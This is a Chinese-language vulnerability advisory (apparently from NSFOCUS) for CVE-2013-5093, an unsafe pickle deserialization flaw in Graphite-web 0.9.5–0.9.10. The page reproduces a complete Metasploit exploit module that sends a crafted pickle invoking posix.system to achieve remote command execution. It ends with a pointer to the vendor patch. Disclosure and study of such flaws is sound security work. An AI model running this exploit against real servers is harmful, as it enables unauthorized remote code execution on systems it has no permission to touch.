首页 -> 安全研究

安全研究

安全漏洞
Graphing 'renderLocalView()' 远程代码执行漏洞(CVE-2013-5093)

发布日期:2013-09-25
更新日期:2013-10-04

受影响系统:
Graphite Graphite 0.9.5-0.9.10
描述:
BUGTRAQ  ID: 61894
CVE(CAN) ID: CVE-2013-5093

Graphite是可扩展的企业级实时绘图工具。

Graphite 0.9.5-0.9.10版本的graphite-web中,render/views.py的函数renderLocalView使用pickle Python模块的方式不安全,可使远程攻击者通过特制的序列化对象执行任意代码。

<*来源:Charlie Eriksen
  
  链接:http://secunia.com/advisories/54556
        http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'Graphite Web Unsafe Pickle Handling',
      'Description'     => %q{
        This module exploits a remote code execution vulnerability in the pickle
        handling of the rendering code in the Graphite Web project between version
        0.9.5 and 0.9.10 (both included).
      },
      'Author'         =>
        [
          'Charlie Eriksen' # Initial discovery and exploit
        ],
      'License'         => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2013-5093'],
          [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
        ],
      'Platform'          => 'unix',
      'Arch'              => ARCH_CMD,
      'Privileged'      => false,
      'Targets'         => [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 20 2013',
      'DefaultTarget'  => 0,
      'Payload'         =>
        {
          'DisableNops' => true,
          'Space'          => 16384,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'python generic telnet netcat perl ruby'
            }
        }))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
      ], self.class)

  end

  def check
    response = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })

    if response and response.code == 500
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

    print_status("Sending exploit payload...")

    response = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST',
      'data'      => data
    })
  end
end

建议:
厂商补丁:

Graphite
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://pypi.python.org/pypi/graphite-web/
Graphite:
https://github.com/graphite-project/graphite-web/blob/master/docs/releases/0_9_11.rst

浏览次数:2413
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障